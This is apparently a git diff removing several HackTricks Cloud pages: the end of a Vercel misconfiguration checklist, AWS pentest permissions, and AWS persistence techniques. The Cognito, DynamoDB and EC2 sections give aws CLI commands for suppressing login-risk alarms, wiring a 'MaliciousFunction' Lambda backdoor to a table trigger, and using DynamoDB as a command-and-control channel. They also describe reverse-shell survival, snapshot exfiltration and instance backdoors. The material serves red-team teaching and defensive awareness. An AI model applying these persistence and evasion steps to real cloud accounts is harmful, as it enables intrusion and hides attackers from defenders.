-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
-
-#### Security Configurations:
-
-**Build Logs and Source Protection**
-
-* **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-* **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
-
-**Git Fork Protection**
-
-* **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-* **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
-
-**Secure Backend Access with OIDC Federation**
-
-* **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-* **Risk:** Unauthorized access to backend services through flawed authentication flows.
-
-**Deployment Retention Policy**
-
-* **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-* **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
-
-**Recently Deleted Deployments**
-
-* **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-* **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
-
-***
-
-### Advanced
-
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
-
-#### Security Configurations:
-
-**Directory Listing**
-
-* **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-* **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
-
-***
-
-## Project Firewall
-
-### Firewall
-
-#### Security Configurations:
-
-**Enable Attack Challenge Mode**
-
-* **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-* **Risk:** Potential user experience problems.
-
-### Custom Rules & IP Blocking
-
-* **Misconfiguration:** Allows to unblock/block traffic
-* **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
-
-***
-
-## Project Deployment
-
-### Source
-
-* **Misconfiguration:** Allows access to read the complete source code of the application
-* **Risk:** Potential exposure of sensitive information
-
-### Skew Protection
-
-* **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-* **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
-
-***
-
-## Team Settings
-
-### General
-
-#### Security Configurations:
-
-* **Transfer**
-  * **Misconfiguration:** Allows to transfer all the projects to another team
-  * **Risk:** An attacker could steal the projects
-* **Delete Project**
-  * **Misconfiguration:** Allows to delete the team with all the projects&#x20;
-  * **Risk:** Delete the projects
-
-***
-
-### Billing
-
-#### Security Configurations:
-
-* **Speed Insights Cost Limit**
-  * **Misconfiguration:** An attacker could increase this number
-  * **Risk:** Increased costs
-
-***
-
-### Members
-
-#### Security Configurations:
-
-* **Add members**
-  * **Misconfiguration:** An attacker could maintain persitence inviting an account he control
-  * **Risk:** Attacker persistence
-* **Roles**
-  * **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
-  * **Risk**: Increate the exposure of the Vercel Team
-
-***
-
-### Access Groups
-
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
-
-**Potential Misconfigurations:**
-
-* **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-* **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-* **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-* **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-* **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
-
-***
-
-### Log Drains
-
-#### Security Configurations:
-
-* **Log Drains to third parties:**
-  * **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
-  * **Risk:** Partial persistence
-
-***
-
-### Security & Privacy
-
-#### Security Configurations:
-
-* **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
-  * **Misconfiguration:**&#x20;
-    * Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
-    * Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
-  * **Risks:**
-    * **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
-      * **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-* **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
-  * **Misconfiguration:** Not adding critical Git scopes to the protected list.
-* **Risks:**
-  * **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
-  * **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-* **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
-  * **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
-  * **Risks:**
-    * **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
-      * **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-* **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
-  * **Misconfiguration:**\
-    Granting access to audit logs to unauthorized team members.
-  * **Risks:**
-    * **Privacy Violations:** Exposure of sensitive user activities and data.
-      * **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-* **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
-  * **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
-  * **Risk:** Maintain persistence
-* **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
-  * **Misconfiguration:** Leaving IP address visibility enabled without necessity.
-  * **Risks:**
-    * **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
-    * **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-* **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
-  * **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
-  * **Risks:**
-    * **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
-    * **Operational Disruptions:** Loss of service availability for certain regions or clients.
-
-***
-
-### Secure Compute
-
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
-
-#### **Potential Misconfigurations and Risks**
-
-1. **Incorrect AWS Region Selection**
-   * **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
-   * **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
-   * **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
-   * **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
-   * **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
-   * **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
-   * **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
-   * **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
-   * **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
-   * **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
-   * **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
-   * **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
-   * **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
-   * **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
-   * **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
-   * **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
-   * **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
-   * **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
-    * **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
-    * **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
-
-***
-
-### Environment Variables
-
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
-
-#### Security Configurations:
-
-* **Exposing Sensitive Variables**
-  * **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
-  * **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-* **Sensitive disabled**
-  * **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
-  * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
deleted file mode 100644
index 868bfe63a..000000000
--- a/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - Permissions for a Pentest
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
-
-* The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
-* To run [aws\_iam\_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
-  * **access-analyzer:List\***
-  * **access-analyzer:Get\***
-  * **iam:CreateServiceLinkedRole**
-  * **access-analyzer:CreateAnalyzer**
-    * Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
-  * **access-analyzer:DeleteAnalyzer**
-    * Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
deleted file mode 100644
index eeeaca42b..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# AWS - API Gateway Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## API Gateway
-
-For more information go to:
-
-{% content-ref url="../aws-services/aws-api-gateway-enum.md" %}
-[aws-api-gateway-enum.md](../aws-services/aws-api-gateway-enum.md)
-{% endcontent-ref %}
-
-### Resource Policy
-
-Modify the resource policy of the API gateway(s) to grant yourself access to them
-
-### Modify Lambda Authorizers
-
-Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
-Or just remove the use of the authorizer.
-
-### IAM Permissions
-
-If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
-Or just remove the use of the authorizer.
-
-### API Keys
-
-If API keys are used, you could leak them to maintain persistence or even create new ones.\
-Or just remove the use of API keys.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
deleted file mode 100644
index ce324c3a2..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Cognito Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cognito
-
-For more information, access:
-
-{% content-ref url="../aws-services/aws-cognito-enum/" %}
-[aws-cognito-enum](../aws-services/aws-cognito-enum/)
-{% endcontent-ref %}
-
-### User persistence
-
-Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
-
-* **Adding a User Pool** controlled by the user to an Identity Pool
-* Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
-  * Or to an **authenticated Identity Pool** if the attacker can login
-  * Or **improve the permissions** of the given roles
-* **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
-* **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
-
-Check how to do these actions in
-
-{% content-ref url="../aws-privilege-escalation/aws-cognito-privesc.md" %}
-[aws-cognito-privesc.md](../aws-privilege-escalation/aws-cognito-privesc.md)
-{% endcontent-ref %}
-
-### `cognito-idp:SetRiskConfiguration`
-
-An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
-
-{% code overflow="wrap" %}
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-{% endcode %}
-
-By default this is disabled:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
deleted file mode 100644
index c8ddc156e..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DynamoDB Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### DynamoDB
-
-For more information access:
-
-{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
-[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
-{% endcontent-ref %}
-
-### DynamoDB Triggers with Lambda Backdoor
-
-Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
-
-{% code overflow="wrap" %}
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
-    --function-name MaliciousFunction \
-    --runtime nodejs14.x \
-    --role <LAMBDA_ROLE_ARN> \
-    --handler index.handler \
-    --zip-file fileb://malicious_function.zip \
-    --region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
-    --table-name TargetTable \
-    --region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
-    --function-name MaliciousFunction \
-    --event-source <STREAM_ARN> \
-    --region <region>
-```
-{% endcode %}
-
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
-
-### DynamoDB as a C2 Channel
-
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
-
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
-    --table-name C2Table \
-    --attribute-definitions AttributeName=CommandId,AttributeType=S \
-    --key-schema AttributeName=CommandId,KeyType=HASH \
-    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
-    --region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
-    --table-name C2Table \
-    --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
-    --region <region>
-```
-
-The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
deleted file mode 100644
index e2f500bf0..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ /dev/null
@@ -1,80 +0,0 @@
-# AWS - EC2 Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EC2
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
-
-### Security Group Connection Tracking Persistence
-
-If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
-
-If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Lifecycle Manager
-
-This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
-An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
-
-### Scheduled Instances
-
-It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
-
-### Spot Fleet Request
-
-Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
-
-### Backdoor Instances
-
-An attacker could get access to the instances and backdoor them:
-
-* Using a traditional **rootkit** for example
-* Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-* Backdooring the **User Data**
-
-### **Backdoor Launch Configuration**
-
-* Backdoor the used AMI
-* Backdoor the User Data
-* Backdoor the Key Pair
-
-### VPN
-
-Create a VPN so the attacker will be able to connect directly through i to the VPC.
-
-### VPC Peering
-
-Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
